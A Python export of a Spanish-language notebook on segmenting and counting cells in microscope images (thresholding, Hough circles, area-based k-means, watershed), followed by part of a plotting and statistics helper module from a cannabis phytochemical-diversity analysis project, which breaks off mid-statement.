In[12]: centers1 = lmap(int, list(chain.from_iterable(kmeans.cluster_centers_))) # In[13]: sns.distplot(intensities, kde=False, rug=True, bins=10) plt.axvline(K, color='r') lmap(lambda x: plt.axvline(x, color='g'), centers1) _ = plt.title(f"Means = {centers1}, K = {K}", size=16) # In[14]: thresh1 = cv.threshold(img, K, 255, cv.THRESH_BINARY)[1] # In[15]: utils.side_by_side(img, thresh1) # Como podemos ver, una técinca de umbralización estándar como k-medias móviles, con dos medias, da resultados muy pobres. # In[16]: otsu1 = cv.threshold(img,0,255,cv.THRESH_BINARY+cv.THRESH_OTSU)[1] # In[17]: utils.side_by_side(img, otsu1) # El algoritmo de Otsu no logra mejorar mucho la segmentación (esto era de esperarse dado que el histograma original era claramente bimodal). # In[18]: gblur = cv.GaussianBlur(img,(3,3),0) otsu2 = cv.threshold(gblur,0,255,cv.THRESH_BINARY+cv.THRESH_OTSU)[1] # In[19]: utils.side_by_side(img, otsu2) # El algoritmo de Otsu no logra mejorar mucho la segmentación aún en combinación con un suavizado Gaussiano. # In[20]: img_blur = cv.medianBlur(img, 5) circles = cv.HoughCircles(img_blur, cv.HOUGH_GRADIENT, 1, img.shape[0]/64, param1=200, param2=10, minRadius=5, maxRadius=7) # In[21]: if circles is not None: circles = np.uint16(np.around(circles)) for i in circles[0, :]: cv.circle(img, (i[0], i[1]), i[2], (0, 0, 255), 2) # In[22]: plt.imshow(img, cmap='gray') # Al ver que las células tenían una apariencia más o menos circular, parecía una buena idea usar una transformada de Hough para buscar los círculos de la imagen, pero esto entregó resultados muy pobres. Tal vez esto podría funcionar con la imagen binaria. # ## b. (0.5 puntos) A la imagenoriginal se le aplicó una umbralización con valores locales yal resultado se le realizó una apertura morbológica obteniendo la imagen Ex3Preg6(b).tif. Usando esta imagen,cuente y etiquete cuantos objetos de la segmentación pueden considerarse células independientes. # In[23]: imgb = cv.imread('imagenes/Ex3Preg6(b).tif', cv.IMREAD_GRAYSCALE) imgbc = cv.cvtColor(imgb, cv.COLOR_BAYER_GB2RGB) utils.side_by_side(imgb, imgbc) # ### Primera aproximación : # El uso de la transformada de Hough para círculos, no para líneas. Al ver la imagen, uno podría pensar que un círculo es una buena aproximación de la forma de una célula, por lo tanto los cículos encontrados por una transformada de Hough serían las células que buscamos identificar, caracterizar y contabilizar # In[26]: circles = cv.HoughCircles(imgb, cv.HOUGH_GRADIENT, 1, img.shape[0]/64, param1=200, param2=10, minRadius=5, maxRadius=15) # In[27]: if circles is not None: circles = np.uint16(np.around(circles)) for i in circles[0, :]: cv.circle(imgbc, (i[0], i[1]), i[2], (155, 0, 0), 2) # In[28]: utils.side_by_side(imgb, imgbc) # Aquí podemos ver que aunque la imagen principal carece de falsos positivos (es decir todos los círculos dibujados dentro de la región útil de la imagen contienen una célula) el **número de falsos negativos es altísimo** : sólo una pequeña parte de las células observadas fueron identificadas por ```cv.HoughCircles()```. # # Esto nos indica que tal vez las células no se asemejan tanto a un círculo. Por esta razón, no se explorará más a fondo esta vía de acción. Cabe mencionar que la transformada encuentra círculos en el texto de encabezado : **Imagen con apertura**. Por esta razón, en delante se trabajará con otra imagen recortada a mano para excluir este texto que podría causar problemas en la segmentación más adelante. # In[29]: imgb2 = cv.imread('imagenes/Ex3Preg6(b)3.tif', cv.IMREAD_GRAYSCALE) imgb2c = clear_border(imgb2) utils.side_by_side(imgb2, imgb2c) # In[30]: sns.distplot(imgb2c.flatten(), kde=False, rug=True) # Imagen claramente binaria. # In[31]: label_image, n_objs = label(imgb2c, return_num=True) fig, ax = plt.subplots(figsize=(10, 10)) #ax.imshow(label_image[100:200,0:100:]) ax.imshow(label_image) print(n_objs) # Aquí podemos ver cómo ```skimage.label()``` es efectivo para identificar objetos en una imagen binaria. # In[32]: objs = regionprops(label_image) areas = pd.core.frame.DataFrame({ 'area': map(lambda x: x.area, objs) }) # Bajo las hipótesis : # 1. El área observable de las bacterias sigue una distribución normal razonablemnte estrecha. # 2. El área de la máscara de segmentación generada a través de una umbralización con valores locales y una apertura morfológica es una buena aproximación del área de una célula. # # La conclusión lógica sería que donde se tenían dos o más células y que la apertura unió las regiones de segmentación, el valor del área aumentará consecuentemente. # In[33]: areas.describe(), sns.boxplot(areas) # In[34]: sns.distplot(areas, kde=False, rug=True) # Analizando la distribución de las áreas, se encuentran algunos puntos cercanos a cero, éstos serán inspeccionados a continuación. # In[35]: _ = areas.area.sort_values() _[:10], _[-10:] # Algunos de los primeros valores de las áreas corresponden claramente a falsos positivos, porque no tenemos células de uno o dos pixeles. Estos pixeles blancos no se observaban en la imagen original, de cualquier manera se retirarán manualmente para no sesgar el análisis posterior. # Se propone clasificar los cúmulos de 1, 2 y 3 o más bacterias en función del área. Se utilizará el algoritmo de las medias móviles con tres grupos, es decir dos umbrales. # In[36]: objs2 = regionprops(label_image) objs2 = list(filter(lambda x: x if x.area > 2 else False, objs2)) areas2 = pd.core.frame.DataFrame({ 'area': map(lambda x: x.area, objs2) }) # In[37]: kmeans2 = KMeans(n_clusters=3, random_state=0, verbose=False).fit(areas2) centers = pd.core.frame.DataFrame({ "means": chain.from_iterable(kmeans2.cluster_centers_) }) centers['k'] = centers.rolling(2).mean() print(centers) centers = centers.applymap(lambda x: np.int64(x) if not np.isnan(x) else x) print(centers) # In[38]: sns.distplot(areas2, kde=False, rug=True) lmap(lambda x: plt.axvline(x, color='r'), centers.k.dropna()) lmap(lambda x: plt.axvline(x, color='g'), centers.means) _ = plt.title(f"Means = {centers.means.tolist()}, Ks = {centers.k.dropna().tolist()}", size=16) # In[39]: ks = centers.k.dropna().tolist() cells = [ lfilter(lambda x: x if x.area < ks[0] else False, objs2), lfilter(lambda x: x if x.area >= ks[0] and x.area < ks[1] else False, objs2), lfilter(lambda x: x if x.area >= ks[1] else False, objs2) ] # Creamos una lista de listas en la cual están contenidos tres grupos de bacterias (cúmulos de 1, 2 o más) identificados por ```skimage.label()```, separados en función de los umbrales encontrados promediando los promedios encontrados por ```sklean.KMeans()```. # # A continuación se observan las máscaras identificando los grupos respectivos. Nótese que el conjunto con la mayor cantidad de errores (sobre todo falsos positivos) es el de dos células. # # Grupos observados : # 1. En rojo : una célula. # 2. En verde : dos células. # 3. En azul : más de dos células. # In[40]: for cell, color in zip(cells, 'red green blue'.split(' ')): segplot(imgb2c, cell, color=color) # In[41]: conteo = {f"Objetos de {i} células": len(cells[i-1]) for i in range(1, 4)} conteo # Aquí está el conteo del número de bacterias por objeto en la máscara de segmentación (imagen binaria). # De entre todas las clases, debemos confiar menos en la segunda categoría, dado que la mera separación en función del área no basta para distinguir adecuadamente entre cúmulos de una célula grande, dos y tres de las cuales una o dos pueden ser pequeñas. # Reporte de errores observados en el conjunto de **dos células**. # # 1. Falsos postivos : 10 # 2. Falsos negativos : 1 # # In[42]: plt.close('all') # In[46]: # One-liner used to fill the borders of segmentation regions pad = lambda x: cv.copyMakeBorder(np.float64(x.image), 10, 10, 10, 10, cv.BORDER_CONSTANT) # In[47]: areas2 = pd.core.series.Series(lmap(lambda x: x.area, cells[1])) sns.distplot(areas2) plt.axvline(areas2.mean(), color='g') plt.axvline(areas2.mean() + areas2.std() , color='r') plt.axvline(areas2.mean() - areas2.std() , color='r') # In[60]: grandes = [cell for cell in cells[1] if cell.area > areas2.mean() - 0.5*areas2.std()] # In[61]: for cell in grandes: image = pad(cell) markers, distance, labels = ez_watershed(image, footprint=np.ones((5, 5))) watershed_viz(image, distance, labels) # In[75]: #type(cells[1][2]) # In[76]: # Function used to extract properties from a list of skimage.measure._regionprops.RegionProperties properties_table = lambda y: pd.core.frame.DataFrame({ "A * P": lmap(lambda x: x.area * x.perimeter, y), "A / P": lmap(lambda x: x.area / x.perimeter, y), "P / A": lmap(lambda x: x.perimeter / x.area, y), "convex A": lmap(lambda x: x.convex_area, y), "equivalent_diameter": lmap(lambda x: x.equivalent_diameter, y), "eccentricity": lmap(lambda x: x.eccentricity, y), "minor_axis_length": lmap(lambda x: x.minor_axis_length, y), "major_axis_length": lmap(lambda x: x.major_axis_length, y) }) # In[77]: propiedades2 = properties_table(cells[1]) # In[78]: sns.pairplot(propiedades2) # ### Perspectivas de mejora del conteo celular : # # Aquí podemos observar que las propiedades que probablemente sean más útiles para mejorar la clasificación se encuentran en las primeras cuatro filas y en las últimas tres columnas. Ya que en los _scatterplots_ generados hay una separación considerable a lo largo de los ejes horizontales entre los que creeríamos son **verdaderos positivos** (cúmulo de puntos mayor) y los que son **falsos positivos** (puntos dispersos entre sí y alejados del cúmulo principal). # # Observando a qué regiones pertenecen y etiquetándolos, se podría entrenar un modelo de inteligencia artificial sea una red neuronal o una máquina de soporte vectorial para poder clasificarlos eficientemente. # # La máquina de soporte vectorial encontraría (idealmente) el hiperplano que mejor separase los cúmulos. # Un ejemplo artificial (construido a mano) se muestra a continuación. # In[84]: sns.scatterplot('minor_axis_length', 'convex A', data=propiedades2) plt.axvline(13, color='red') # ### Extra : Visualización de subsegmentaciones gracias al algoritmo Watershed. # In[87]: for cell in cells[2]: image = pad(cell) markers, distance, labels = ez_watershed(image, footprint=np.ones((10,10))) watershed_viz(image, distance, labels) # In[ ]: # In[ ]:
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viz_funcs.py
cjsmith015/phytochemical-diversity-cannabis
0
34960
import numpy as np import pandas as pd import scipy.stats as scs import itertools from collections import defaultdict import textwrap import pingouin as pg from statsmodels.stats.multicomp import pairwise_tukeyhsd from sklearn.neighbors import NearestNeighbors from sklearn.decomposition import PCA from sklearn.cluster import DBSCAN, KMeans, OPTICS from sklearn.metrics import silhouette_samples, silhouette_score from sklearn.preprocessing import StandardScaler from sklearn.metrics.pairwise import cosine_distances, cosine_similarity from sklearn.preprocessing import StandardScaler, MinMaxScaler pd.options.display.max_columns = 150 from umap import UMAP from statannot import add_stat_annotation import plotly import plotly.graph_objs as go import matplotlib as mpl import matplotlib.pyplot as plt import matplotlib.ticker as ticker import matplotlib.colors as mcolors import matplotlib.lines as mlines import matplotlib.patches as mpatches from mpl_toolkits import mplot3d import matplotlib.cm as cm from adjustText import adjust_text import matplotlib.patheffects as PathEffects import seaborn as sns import warnings warnings.filterwarnings('ignore') warnings.simplefilter('ignore') ### def simple_axis(ax): ax.spines['top'].set_visible(False) ax.spines['right'].set_visible(False) ax.get_xaxis().tick_bottom() ax.get_yaxis().tick_left() def run_by_group(orig_df, **kwargs): g = orig_df.groupby(kwargs['groupby']) base_name = kwargs['save_name'] for group, data in g: kwargs['title'] = group kwargs['save_name'] = base_name+'_'+group run_graph(data, **kwargs) return def run_graph(df, **kwargs): fig, ax = plt.subplots(figsize=kwargs['figsize']) if 'violin' in kwargs['save_name']: ax = run_violin(df, ax, **kwargs) elif 'scatter' in kwargs['save_name']: if '5' in kwargs['save_name']: ax = run_scatter_5(df, ax, **kwargs) else: ax = run_scatter(df, ax, **kwargs) if 'comp_df' in kwargs: ax = run_loadings(df, ax, **kwargs) elif 'reg' in kwargs['save_name']: ax = run_scatter(df, ax, **kwargs) elif 'hist' in kwargs['save_name']: ax = run_hist(df, ax, **kwargs) elif 'bar' in kwargs['save_name']: ax = run_bar(df, ax, **kwargs) elif 'stacked' in kwargs['save_name']: ax = run_stacked_bar(df, ax, **kwargs) elif 'box' in kwargs['save_name']: ax = run_box(df, ax, **kwargs) elif 'sil' in kwargs['save_name']: ax = run_sil(df, ax, **kwargs) elif 'kde' in kwargs['save_name']: ax = run_kde(df, ax, **kwargs) elif 'line' in kwargs['save_name']: ax = run_line(df, ax, **kwargs) if 'log' in kwargs: # ax.set_xscale('symlog', linthreshx=1e-1) # ax.set_yscale('symlog', linthreshy=1e-1) ax.set_xscale('log') ax.set_yscale('log') if 'xlims' in kwargs: if len(kwargs['xlims']) == 1: xlims = ax.get_xlim() kwargs['xlims'] = (kwargs['xlims'][0], xlims[1]) ax.set_xlim(kwargs['xlims']) if 'ylims' in kwargs: if len(kwargs['ylims']) == 1: ylims = ax.get_ylim() kwargs['ylims'] = (kwargs['ylims'][0], ylims[1]) ax.set_ylim(kwargs['ylims']) ax.set_xlabel(kwargs['x_label'], fontweight='bold', fontsize=11) ax.set_ylabel(kwargs['y_label'], fontweight='bold', fontsize=11) # if 'comp_df' in kwargs: # ax2 = ax.twiny() # ax2.set_xticks( ax.get_xticks() ) # ax2.set_xbound(ax.get_xbound()) # ax2.set_xticklabels([x/ax.get_xticks().max() for x in ax.get_xticks()]) # ax2.set_xlabel('Loadings on PC'+str(kwargs['x']+1), fontweight='bold', fontsize=11) # ax3 = ax.twinx() # ax3.set_yticks(ax.get_yticks()) # ax3.set_ybound(ax.get_ybound()) # ax3.set_yticklabels([y/ax.get_yticks().max() for y in ax.get_yticks()]) # ax3.set_ylabel('Loadings on PC'+str(kwargs['y']+1), fontweight='bold', fontsize=11) ax.set_title(kwargs['title'], fontweight='bold', fontsize=12) simple_axis(ax) plt.tight_layout() fig.savefig('viz/'+kwargs['save_name']+'.png') return def sample_df(df, x): if x==1: return df elif x<1: return df.sample(frac=x, random_state=56) else: return df.sample(n=x, random_state=56) def run_violin(data, ax, **kwargs): sub_df = sample_df(data, kwargs['sample_frac']) # get ns from full dataset if kwargs['x'] == 'region': df = pd.melt(data.loc[:, kwargs['cols']], id_vars='region', value_vars='tot_thc').drop(columns=['variable']) sub_df = pd.melt(sub_data.loc[:, kwargs['cols']], id_vars='region', value_vars='tot_thc').drop(columns=['variable']) order, n_dict = violin_order(df, group_by='region') else: if 'cols' in kwargs: df = pd.melt(data.loc[:, kwargs['cols']], var_name=kwargs['x']) sub_df = pd.melt(sub_df.loc[:, kwargs['cols']], var_name=kwargs['x']) order, n_dict = violin_order(df, group_by=kwargs['x']) else: df = data sub_df = sub_df order, n_dict = violin_order(df, group_by=kwargs['x']) # if pre-set order, use that if 'order' in kwargs: order = kwargs['order'] # plot with sampled data if 'palette' in kwargs: sns.violinplot(x=kwargs['x'], y=kwargs['y'], data=sub_df, scale='width', order=order, palette=kwargs['palette'], linewidth=0, ax=ax) else: sns.violinplot(x=kwargs['x'], y=kwargs['y'], data=sub_df, scale='width', order=order, color='lightslategray', linewidth=0, ax=ax) PROPS = { 'boxprops':{'facecolor':'black', 'edgecolor':'black', 'linewidth':3}, 'medianprops':{'color':'white', 'linewidth':2}, 'whiskerprops':{'color':'black', 'linewidth':2} } boxplot = sns.boxplot(x=kwargs['x'], y=kwargs['y'], data=df, order=order, showcaps=False, width=0.06, fliersize=0.5, ax=ax, **PROPS) if kwargs['avg']: avg_avgs = df.groupby(kwargs['x'])[kwargs['y']].mean().mean() ax.axhline(avg_avgs, color='black', linestyle='--') if 'axhline' in kwargs: ax.axhline(kwargs['axhline'], color='black', linestyle='--') if 'sil-scores' in kwargs['save_name']: ax.axhline(0, color='black', linestyle='--') if kwargs['sig_comp']: box_pairs = list(itertools.combinations(order,r=2)) test_results = add_stat_annotation(ax, data=df, x=kwargs['x'], y=kwargs['y'], order=order, box_pairs=box_pairs, text_annot_custom=[get_stats(df, pair, kwargs['x']) for pair in box_pairs], perform_stat_test=False, pvalues=[0, 0, 0], loc='outside', verbose=0) # ttest_df = pd.DataFrame(index=order, columns=['y_val','p_val','cohens_d']) # ttest_df[['y_val','p_val','cohens_d']] = ttest_df.apply(run_cohens, args=(df, ), axis=1, result_type='expand') # p_val_adj = 0.05/ttest_df.shape[0] # ttest_df['reject'] = ttest_df['p_val'] <= p_val_adj # bins = [0, 0.2, 0.5, 0.8, np.inf] # names = ['', '*', '**', '***'] # ttest_df['star'] = pd.cut(np.abs(ttest_df['cohens_d']), bins, labels=names) # for i, region in enumerate(order): # if ttest_df.loc[region, 'reject']: # y = ttest_df.loc[region, 'y_val'] # ax.text(i, y+2, ttest_df.loc[region, 'star'], ha='center', size=20) if 'v_xticklabels' in kwargs: xtick_labels = ax.get_xticklabels() labels = [textwrap.fill(x.get_text(),10) for x in xtick_labels] _ = ax.set_xticklabels(labels, rotation=90, ha='center') else: xtick_labels = ax.get_xticklabels() labels = [x.get_text()+'\nn='+str(n_dict[x.get_text()]['value']) for x in xtick_labels] _ = ax.set_xticklabels(labels) return ax def violin_order(df, group_by='Cannab'): order = df.groupby(group_by).median().sort_values(by='value', ascending=False).index n_dict = df.groupby(group_by).count().T.to_dict(orient='dict') return order.values, n_dict def run_scatter(df, ax, **kwargs): no_nan = df.dropna(subset=[kwargs['x'], kwargs['y']], how='any') sub_df = sample_df(no_nan, kwargs['sample_frac']) if 'size' in kwargs: s = kwargs['size'] else: s = mpl.rcParams['lines.markersize']**2 if 'edgecolor' in kwargs: ec = kwargs['edgecolor'] else: ec = 'white' if 'hue' in kwargs: if 'sort_list' in kwargs: hue_order = kwargs['sort_list'] sub_df = sub_df.sort_values(kwargs['hue'], key=make_sorter(kwargs['sort_list'])) else: hue_order = sub_df[kwargs['hue']].value_counts().index sns.scatterplot(x=kwargs['x'], y=kwargs['y'], hue=kwargs['hue'], data=sub_df, s=s, edgecolor=ec, alpha=0.5, hue_order=hue_order, palette=kwargs['palette'], ax=ax) # include full ns handles, labels = ax.get_legend_handles_labels() if 'n_display' in kwargs: labels_n = [(cat, df.loc[df[kwargs['hue']]==cat].shape[0]) for cat in hue_order] labels = [cat+'\nn='+str(n) for cat, n in labels_n] ax.legend(handles=handles[:kwargs['n_display']], labels=labels[:kwargs['n_display']], title=kwargs['hue'].title(), handlelength=4) else: labels_n = [(cat, df.loc[df[kwargs['hue']]==cat].shape[0]) for cat in hue_order] labels = [cat+'\nn='+str(n) for cat, n in labels_n] ax.legend(handles=handles, labels=labels, title=kwargs['hue'].title(), handlelength=4) else: sns.regplot(x=kwargs['x'], y=kwargs['y'], data=sub_df, scatter_kws={'alpha':0.1, 'color':'lightslategray', 'rasterized':True}, line_kws={'color':'orange'}, ax=ax) r, p = scs.spearmanr(no_nan[kwargs['x']], no_nan[kwargs['y']]) labels = ['rho = {:.2f}'.format(r)] if p < 1e-300: labels.append('p < 1e-300') else: labels.append('p = {:.1e}'.format(p)) ax.legend(labels=['\n'.join(labels)]) if 'prod_strains' in kwargs: s_colors = ['black', 'gray', 'white'] s_markers = ['^', 'D', 'o'] n_strains = len(kwargs['prod_strains']) for strain, color, marker in zip(kwargs['prod_strains'], s_colors[:n_strains], s_markers[:n_strains]): sns.scatterplot(x=kwargs['x'], y=kwargs['y'], data=sub_df.loc[sub_df['strain_slug']==strain], s=s+35, edgecolor='black', linewidth=1.5, color=color, label=strain, marker=marker, ax=ax) return ax def get_log(df, cannab_1='tot_thc', cannab_2='tot_cbd'): # get THC_CBD ratio for batches without 0 tot_thc (avoid dividing by 0) df['ratio'] = 0 df.loc[df[cannab_2] != 0, 'ratio'] = (df.loc[df[cannab_2] != 0, cannab_1]) / (df.loc[df[cannab_2] != 0, cannab_2]) # get log_THC_CBD vals df['log_ratio'] = 0 df.loc[df['ratio'] != 0, 'log_ratio'] = np.log10(df.loc[df['ratio'] != 0, 'ratio']) # set the 0 tot_cbd batches to an extraneous high bin df.loc[df[cannab_2] == 0, 'log_ratio'] = 4 df.loc[df[cannab_1] == 0, 'log_ratio'] = -2 log_ratio = df['log_ratio'] return log_ratio def run_hist(df, ax, **kwargs): sub_df = sample_df(df, kwargs['sample_frac']) # some cut-offs ct_thresh_high = 5 ct_thresh_low = 0.25 max_log = 4 min_log = -2.0 # get log data log_cannab = get_log(sub_df, cannab_1='tot_'+kwargs['x'], cannab_2='tot_'+kwargs['y']) # get histogram hist, bins = np.histogram(log_cannab, bins=np.arange(min_log-0.1, max_log+0.1, 0.05)) # get colors colors = [] for low, high in zip(bins,bins[1:]): avg = np.mean([low, high]) if avg >= np.log10(ct_thresh_high): colors.append('darkblue') elif avg <= np.log10(ct_thresh_low): colors.append('black') else: colors.append('steelblue') # plot histogram, thresholds ax.bar(bins[:-1], hist.astype(np.float32) / hist.sum(), width=(bins[1]-bins[0]), color=colors) ax.plot([np.log10(ct_thresh_high), np.log10(ct_thresh_high)], [0, kwargs['ylims'][1]-0.02], linestyle='--', color='k', linewidth=1) ax.plot([np.log10(ct_thresh_low), np.log10(ct_thresh_low)], [0, kwargs['ylims'][1]-0.02], linestyle='--', color='k', linewidth=1) ax.set_xticklabels(['',float("-inf"), -1, 0, 1, 2, 3, float("inf")]) # draw legend chemotypes = ['THC-Dom', 'Bal THC/CBD', 'CBD-Dom'] ct_1 = mpatches.Patch(color='darkblue', label='THC-Dom') ct_2 = mpatches.Patch(color='steelblue', label='Bal THC/CBD') ct_3 = mpatches.Patch(color='black', label='CBD-Dom') ct_handles, ct_labels = ax.get_legend_handles_labels() ct_labels_n = [(x, df.loc[df['chemotype']==x].shape[0]) for x in chemotypes] ct_labels = [x+'\nn='+str(n) for x, n in ct_labels_n] ax.legend(handles=[ct_1,ct_2,ct_3], labels=ct_labels,title='Chemotype',handlelength=4) return ax def normalize(df, cols): df.loc[:, cols] = (df.loc[:, cols] .div(df.loc[:, cols].sum(axis=1), axis=0) .multiply(100)) return df def max_min(arr): return arr/(arr.max()-arr.min()) def make_sorter(sort_list): """ Create a dict from the list to map to 0..len(l) Returns a mapper to map a series to this custom sort order """ sort_order = {k:v for k,v in zip(sort_list, range(len(sort_list)))} return lambda s: s.map(lambda x: sort_order[x]) def run_bar(df, ax, **kwargs): if 'hue' in kwargs: sns.barplot(x=kwargs['x'], y=kwargs['y'], hue=kwargs['hue'], data=df, palette=kwargs['palette'], order=kwargs['order']) elif 'palette' in kwargs: sns.barplot(x=kwargs['x'], y=kwargs['y'], data=df, palette=kwargs['palette'], order=kwargs['order']) else: sns.barplot(x=kwargs['x'], y=kwargs['y'], color='lightslategray') return ax def run_box(df, ax, **kwargs): if 'palette' in kwargs: sns.boxplot(x=kwargs['x'], y=kwargs['y'], data=df, palette=kwargs['palette'], order=kwargs['order']) else: sns.boxplot(x=kwargs['x'], y=kwargs['y'], color='lightslategray') return ax def run_pca(df, cols, norm=True, n_components=2, max_min_arr=False): df[cols] = df[cols].fillna(0) # get rid of rows that are all 0 for specified columns zero_bool = (df[cols]==0).sum(axis=1)==len(cols) df = df[~zero_bool].copy() if norm: X = normalize(df, cols).copy() else: X = df.copy() model = PCA(n_components=n_components) model.fit(X.loc[:, cols]) arr = model.fit_transform(X.loc[:, cols]) if max_min_arr: arr = np.apply_along_axis(max_min, arr=arr, axis=0) # add first three component scores to df X[0] = arr[:,0] X[1] = arr[:,1] X[2] = arr[:,2] return X, arr, model def run_loadings(df, ax, **kwargs): comp_df = kwargs['comp_df'] comp_df['combo_score'] = np.abs(comp_df[[kwargs['x'],kwargs['y']]]).sum(axis=1) comp_df = comp_df.sort_values(by='combo_score', ascending=False).iloc[:kwargs['n_display']] max_x = df[kwargs['x']].max() max_y = df[kwargs['y']].max() texts = [] for x in comp_df.iterrows(): texts.append(ax.text(x[1][kwargs['x']]*max_x, x[1][kwargs['y']]*max_y, x[0], fontweight='bold', bbox=dict(facecolor='white', edgecolor='blue', pad=2, alpha=0.75))) ax.arrow(0, 0, x[1][kwargs['x']]*max_x, x[1][kwargs['y']]*max_y, color='black', alpha=1, lw=2, head_width=1) adjust_text(texts) return ax def run_sil(df, ax, **kwargs): sub_df = sample_df(df, kwargs['sample_frac']) labels = df[kwargs['hue']] sub_labels = sub_df[kwargs['hue']] label_list = labels.value_counts().index silhouette_avg = silhouette_score(df[kwargs['cols']], labels) sample_sil_val = silhouette_samples(sub_df[kwargs['cols']], sub_labels) y_lower=0 for i, label in enumerate(label_list[:kwargs['n_display']]): ith_cluster_sil_val = sample_sil_val[sub_labels==label] ith_cluster_sil_val.sort() size_cluster_i = ith_cluster_sil_val.shape[0] y_upper = y_lower+size_cluster_i color = kwargs['palette'][label] ax.fill_betweenx(np.arange(y_lower, y_upper), 0, ith_cluster_sil_val, facecolor=color, edgecolor=color, alpha=0.7) ax.text(-0.05, y_lower+0.5*size_cluster_i, label) y_lower = y_upper+1 ax.axvline(silhouette_avg, color='lightslategray', linestyle='--') ax.legend(labels=['Avg Silhouette Score {:.2f}'.format(silhouette_avg)]) ax.set_ylim(0, y_upper+10) return ax def score2loading(x): return x / x.max() def loading2score(x): return x * x.max() def get_ct(df): # determine THC/CBD ratio df['chemotype_ratio'] = df['tot_thc'].div(df['tot_cbd'], fill_value=0) df.loc[(df['tot_thc']==0)&(df['tot_cbd']!=0), 'chemotype_ratio'] = -np.inf df.loc[(df['tot_thc']!=0)&(df['tot_cbd']==0), 'chemotype_ratio'] = np.inf # bin chemotypes by ratio df['chemotype'] = pd.cut(df['chemotype_ratio'], [-np.inf, 0.2, 5, np.inf], labels=['CBD-Dom','Bal THC/CBD', 'THC-Dom'], include_lowest=True) return df def run_stacked_bar(df, ax, **kwargs): if 'order' in kwargs: df[kwargs['order']].plot(kind='bar', stacked=True, color=kwargs['palette'], ax=ax) else: df.plot(kind='bar', stacked=True, color=kwargs['palette'], ax=ax) # .patches is everything inside of the chart for rect in ax.patches: # Find where everything is located height = rect.get_height() width = rect.get_width() x = rect.get_x() y = rect.get_y() # The height of the bar is the data value and can be used as the label label_text = f'{height:.1f}%' # f'{height:.2f}' to format decimal values # ax.text(x, y, text) label_x = x + width / 2 label_y = y + height / 2 # plot only when height is greater than specified value if height > 5: txt = ax.text(label_x, label_y, label_text, ha='center', va='center', fontsize=10, fontweight='bold', color='black') txt.set_path_effects([PathEffects.withStroke(linewidth=4, foreground='w')]) ax.legend(bbox_to_anchor=(1.05, 1), loc='upper left', borderaxespad=0.) return ax # def run_polar_plot(df, ax, **kwargs): # # print(df.loc[:,kwargs['cols']]) # mean_cols = list(df.loc[:,kwargs['cols']].mean(axis=0)) # mean_cols2 = mean_cols + mean_cols[:1] # angles = [n / len(mean_cols) * 2 * np.pi for n in range(len(mean_cols))] # angles = angles + angles[:1] # # get color # order = np.argsort(mean_cols)[::-1] # top_val = np.array(kwargs['cols'])[order][0] # if 'colors' in kwargs: # colors = kwargs['colors'] # else: # colors = kwargs['palette'][top_val] # # # error bars # # err_cols = list(df.loc[:,kwargs['cols']].std(axis=0)) # # err_cols2 = err_cols + err_cols[:1] # # ax.errorbar(angles, mean_cols2, yerr=err_cols2, capsize=0, color=colors, linestyle='solid', ecolor='lightslategray') # # plot # if kwargs['avg']: # ax.plot(angles, mean_cols2, color=colors, lw=1, linestyle='solid') # ax.fill(angles, mean_cols2, colors, alpha=0.1) # # y limits # ax.set_ylim(0, np.max(mean_cols2)) # else: # for row_idx, row in df[kwargs['cols']].iterrows(): # row_list = list(row) # row_list2 = row_list + row_list[:1] # if type(colors)==str: # ax.plot(angles, row_list2, color=colors, lw=0.5) # else: # ax.plot(angles, row_list2, color=colors[row_idx], lw=0.5) # ax.set_ylim(0, np.max(df[kwargs['cols']].max())) # # tick labels # tick_labs = kwargs['cols'] # ax.set_xticks(angles[:-1]) # ax.set_xticklabels(tick_labs, color='black', size=10) # ax.set_yticks([]) # return ax def run_polar_plot(df, ax, **kwargs): # print(df.loc[:,kwargs['cols']]) mean_cols = list(df.loc[:,kwargs['cols']].mean(axis=0)) mean_cols2 = mean_cols + mean_cols[:1] angles = [n / len(mean_cols) * 2 * np.pi for n in range(len(mean_cols))] angles = angles + angles[:1] # plot samples if 'sub_n' in kwargs: sub_data = df.sort_values('n_samps', ascending=False)[:kwargs['sub_n']] else: sub_data = df for row_idx, row in sub_data[kwargs['cols']].iterrows(): row_list = list(row) row_list2 = row_list + row_list[:1] if type(kwargs['colors'])==str: ax.plot(angles, row_list2, color=kwargs['colors'], lw=0.5, alpha=0.5) else: ax.plot(angles, row_list2, color=kwargs['colors'][row_idx], lw=0.5) if kwargs['avg']: # get for average color order = np.argsort(mean_cols)[::-1] top_val = np.array(kwargs['cols'])[order][0] avg_color = kwargs['palette'][top_val] ax.plot(angles, mean_cols2, color=avg_color, lw=1, linestyle='solid', zorder=11) ax.fill(angles, mean_cols2, avg_color, alpha=0.5, zorder=10) ax.set_ylim(0, np.max(mean_cols2)) else: ax.set_ylim(0, np.max(sub_data[kwargs['cols']].max())) # tick labels tick_labs = kwargs['cols'] ax.set_xticks(angles[:-1]) ax.set_xticklabels(tick_labs, color='black', size=10) ax.set_yticks([]) return ax def run_pairwise(df, cann_cols, terp_cols): df_sim = pd.DataFrame(columns=['cann','terp','all']) for idx, cols in enumerate([cann_cols, terp_cols, cann_cols+terp_cols]): if idx==2: df[cols] = MinMaxScaler().fit_transform(df[cols].fillna(0)) sim_scores = cosine_similarity(df[cols].fillna(0)) sim_scores[sim_scores > 0.9999999999999] = np.nan df_sim.iloc[:, idx] = np.nanmean(sim_scores, axis=0) return df_sim def get_scaled_dfs(df, cann, terps): X_cann = df[cann].fillna(0) X_cann_standard = MinMaxScaler().fit_transform(X_cann) X_terps = df[terps].fillna(0) X_terps_standard = MinMaxScaler().fit_transform(X_terps) X_all = df[cann+terps].fillna(0) X_all_standard = MinMaxScaler().fit_transform(X_all) return X_cann, X_cann_standard, X_terps, X_terps_standard, X_all, X_all_standard def avg_sd(a,b): num = np.var(a)+np.var(b) return np.sqrt(num/2) def get_stats(df, pair, col): x = df.loc[df[col]==pair[0], 'value'] y = df.loc[df[col]==pair[1], 'value'] ttest = scs.ttest_ind(x, y, equal_var=False) d_prime = (x.mean()-y.mean())/avg_sd(x,y) labels = [] if ttest[1] < 1e-300: labels.append('p < 1e-300') else: labels.append('p = {:.1e}'.format(ttest[1])) labels.append("d'="+str(np.round(np.abs(d_prime),2))) return ', '.join(labels) def get_prod_df(df, n_samp_min, n_prod_min, common_cannabs, common_terps): n_samp_df = df.groupby(['anon_producer','strain_slug'])['u_id'].count() df = df.merge(n_samp_df.rename('n_samp'), left_on=['anon_producer','strain_slug'], right_index=True) # create producer df prod_df = df.loc[(df['n_samp']>=n_samp_min)].groupby(['anon_producer','strain_slug'])[common_cannabs+common_terps].mean() prod_df = get_ct(prod_df) prod_df = 